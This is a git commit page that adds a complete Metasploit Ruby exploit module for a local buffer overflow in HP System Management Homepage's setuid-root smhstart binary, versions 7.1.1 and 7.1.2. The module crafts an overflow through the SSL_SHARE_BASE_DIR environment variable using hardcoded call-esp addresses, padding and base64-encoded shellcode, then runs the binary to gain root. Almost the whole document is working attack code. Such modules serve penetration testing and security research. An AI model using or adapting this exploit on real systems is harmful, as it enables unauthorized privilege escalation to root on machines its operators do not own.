hpsmh smhstart local exploit BOF
parent
5fd996f775
commit
30111e3d8b
|
@ -0,0 +1,89 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/exploit/local/linux_kernel'
|
||||
require 'msf/core/exploit/local/linux'
|
||||
require 'msf/core/exploit/local/unix'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
#load 'lib/msf/core/post/file.rb'
|
||||
#load 'lib/msf/core/exploit/local/unix.rb'
|
||||
#load 'lib/msf/core/exploit/local/linux.rb'
|
||||
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Local
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
|
||||
include Msf::Exploit::Local::Linux
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'HP System Management Homepage Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'agix' #@agixid
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 227,
|
||||
'BadChars' => "\x00\x22"
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '91812'] #not exactly but there is none...
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Hpsmh 7.1.1',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'CallEsp' => 0x080c86eb, #call esp
|
||||
'Offset' => 64
|
||||
}
|
||||
],
|
||||
[ 'Hpsmh 7.1.2',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'CallEsp' => 0x080c8b9b, #call esp
|
||||
'Offset' => 64
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "Mar 30 2013",
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
pl = payload.encoded
|
||||
padding = rand_text_alpha(target['Offset'])
|
||||
ret = [target['CallEsp']].pack('V')
|
||||
exploit = Rex::Text.encode_base64("#{pl}#{ret}\xe8\x14\xff\xff\xff#{padding}")
|
||||
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
|
||||
puts cmd_exec("#{datastore['smhstartDir']}/smhstart")
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue